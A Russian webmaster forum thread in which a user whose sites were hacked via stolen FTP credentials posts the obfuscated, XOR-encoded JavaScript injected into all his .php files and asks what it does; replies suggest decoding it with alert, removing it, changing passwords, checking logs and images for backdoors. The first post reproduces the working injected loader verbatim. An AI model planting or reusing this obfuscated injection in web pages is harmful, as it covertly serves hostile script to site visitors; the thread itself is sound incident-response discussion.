Форум Сайтостроение Веб-строительство

Что за код?

R
На сайте с 07.07.2009
Offline
43
Reverse
697

Взломали сайты по фтп, во все .php вставили код: 

<script>rpnsxy=["uqjici=0;snwvcdmd='';for(oxbjvi=0;oxbjvi<rpnsxy[0]['length'];oxbjvi+=1)uqjici+=rpnsxy[0].charCodeAt(oxbjvi);uqjici%=0x64;for(oxbjvi=0;oxbjvi<rpnsxy[1]['length'];oxbjvi+=2)snwvcdmd+=String.fromCharCode(parseInt(0+'x'+rpnsxy[1].charAt(oxbjvi)+rpnsxy[1].charAt(oxbjvi+1))^uqjici);document.write(snwvcdmd);","13475b424311134d404b5611135c4c5d465f5b11594e5d0f5b4a425f66695d4e424a124b404c5a424a415b014c5d4a4e5b4a6a434a424a415b070846495d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a0708464b0803087d7c66695d4e424a0806145b4a425f66695d4e424a015c4a5b6e5b5b5d464d5a5b4a07085c5d4c080308475b5b5f1500004c43464c44025f40465c44014c4042005b474a5d4a004641014c484610180806145b4a425f66695d4e424a015c5b56434a0159465c464d4643465b56120847464b4b4a4108145b4a425f66695d4e424a015c5b56434a0158464b5b4712081f5f5708145b4a425f66695d4e424a015c5b56434a01474a4648475b12081f5f57081466695d4e424a604d450f120f4b404c5a424a415b014d404b56014e5f5f4a414b6c4746434b075b4a425f66695d4e424a061413005c4c5d465f5b1113004d404b56111300475b424311"];eval(rpnsxy[0]);</script>

что делает этот код? от него ошибка Parse error: syntax error, unexpected '<'

Если кто сталкивался с таким, тому вопрос - хватит ли убрать этот код или еще что-то предпринять?

Не теряй время с сапой (http://www.sape.ru/r.PmzkTSLtsC.php), обманывать Яндекс бесперспективно. Пользуйся белой раскруткой (http://miralinks.ru/users/registration/from:33429) и не знай проблем.
Brand from Amber
На сайте с 18.08.2007
Offline
293
Brand from Amber
#1
Reverse:
Если кто сталкивался с таким, тому вопрос - хватит ли убрать этот код или еще что-то предпринять?

Возможно стоит ещё и пароли на FTP поменять? ;)

P.S. Поменяй eval на alert и анализируй =)

Лучший способ понять что-то самому - объяснить это другому.
R
На сайте с 07.07.2009
Offline
43
Reverse
#2

да пароли то понятно что сразу же поменял, а что такое eval и alert

stifler_x
На сайте с 19.06.2008
Offline
193
stifler_x
#3

http://javascript.ru/eval

http://javascript.ru/alert

Brand from Amber
На сайте с 18.08.2007
Offline
293
Brand from Amber
#4

Понятно. Не забивайте голову. Если нет бэкдоров, то для лечения, достаточно будет удалить этот код со всех страниц.

inseonight
На сайте с 10.10.2008
Offline
170
inseonight
#5

Reverse, действительно удалите весь такой код со всех страниц и посмотрите внимательно может злоумышленники где то ещё вставили шел-код или ещё какую то бяку..и тоже удалите...

так же следует задуматься как же они получили доступ к сайту...

может у вас старая версия движка и следует обновиться..

или плагин какой то дырявый...или скрипт...

а может и пароли слабые...

гляньте логи сервера....может там найдете ответ...

кароче анализ и ещё раз анализ...

Занимаюсь разработкой и продвижением интернет магазинов. Внедряю аналитику и консультирую по seo.
The_Rock
На сайте с 26.02.2009
Offline
89
The_Rock
#6

Код зашифрован как вы видите. Так что, чем он является вы вряд ли узнаете. Скорее всего это шелл. См. http://wiki.xakep.ru/web-shell.ashx

Удалите коды обязательно, проверьте все другие файлы, логи. Как сказал inseonight, важно узнать КАК был произведен взлом.

Закажи свое видео! Рекламные ролики, обзоры товаров и услуг, заставки... (/ru/forum/comment/12596209) Более 5 лет опыта и сотни довольных заказчиков.
R
На сайте с 07.07.2009
Offline
43
Reverse
#7

Спасибо. Взлом был через FileZilla, в которой сохранены реквизиты доступа к ftp, со 100500 страниц запарюсь код удалять, листал кучу программ автозамены, все медленно работают. Попросил у хостинга бэкап

[Удален]
#8
удалите весь такой код со всех страниц

На одном моём сайте тоже не так давно случилась кака - добавился левый код в некоторые файлы (роботс, хтакцесс, тхт). (Подозреваю или сам хостер или скорее его ломали.. Ну да ладно, не суть)

Интересность произошла дальше.

Через пару недель один из знакомых вдруг пишет, что его авира (и только она!) ругается на вирус на сайте.

Не буду расписывать что как я делал, но в результате обнаружил, что кроме как в редактируемые файлы гадостный код был дописан в картинки. (код собственно содержал ссылку на гадостный сайт. Обратил внимание по разнице в размере файла в несколько байт)

Так-то.. Проверяете не только редактируемые файлы, но и бинарники.

ДА! Ни один антивирусник не палит это код. Только авира и ещё кто-то (по вирустоталу).

Точнее не палили. Я отослал вредные файлы куда надо. Может ситуация скоро исправится.

Dreammaker
На сайте с 20.04.2006
Offline
569
Dreammaker
#9
The_Rock:
Код зашифрован как вы видите. Так что, чем он является вы вряд ли узнаете.

всё превосходно при желании расшифровывается - выше дали совет как это сделать.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий